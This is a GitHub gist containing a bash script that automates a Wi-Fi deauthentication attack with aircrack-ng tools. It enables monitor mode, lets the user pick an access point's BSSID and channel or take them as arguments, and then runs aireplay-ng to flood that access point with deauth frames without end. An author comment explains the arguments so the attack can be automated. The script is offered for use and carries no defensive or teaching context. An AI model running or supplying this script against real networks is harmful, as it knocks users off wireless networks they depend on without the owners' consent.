Skip to content

Instantly share code, notes, and snippets.

@PintsizedSix40
Created June 30, 2019 20:41
Show Gist options
  • Save PintsizedSix40/b3fc4e5cc76c97dc76a3a210972bb5b4 to your computer and use it in GitHub Desktop.
Save PintsizedSix40/b3fc4e5cc76c97dc76a3a210972bb5b4 to your computer and use it in GitHub Desktop.
Script to deauth APs with aircrack-ng (SENDS TO AP, NOT CLIENT!)
function clean {
airmon-ng stop wlan0mon
ifconfig wlan0 down
ifconfig wlan0mon down
ifconfig wlan0 up
}
function getFromInput {
airodump-ng wlan0mon
echo Select the BSSID
read bssid
echo Select the channel
read channel
global_var_bssid=$bssid
global_var_channel=$channel
}
trap clean EXIT
ifconfig wlan0 down
ifconfig wlan0mon down
ifconfig wlan0 up
airmon-ng start wlan0
if [ -z "$1" ]; then getFromInput; else if [ -z "$2" ]; then getFromInput; else global_var_bssid=$1; global_var_channel=$2; fi fi
iwconfig wlan0mon channel $global_var_channel
aireplay-ng -0 0 -a $global_var_bssid wlan0mon
@PintsizedSix40
Copy link
Author

The script accepts args in the form:
./deauth.sh BSSID Channel
So that it can be automated. Omitting an argument will cause it to scan for APs and let you manually input the BSSID and Channel.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment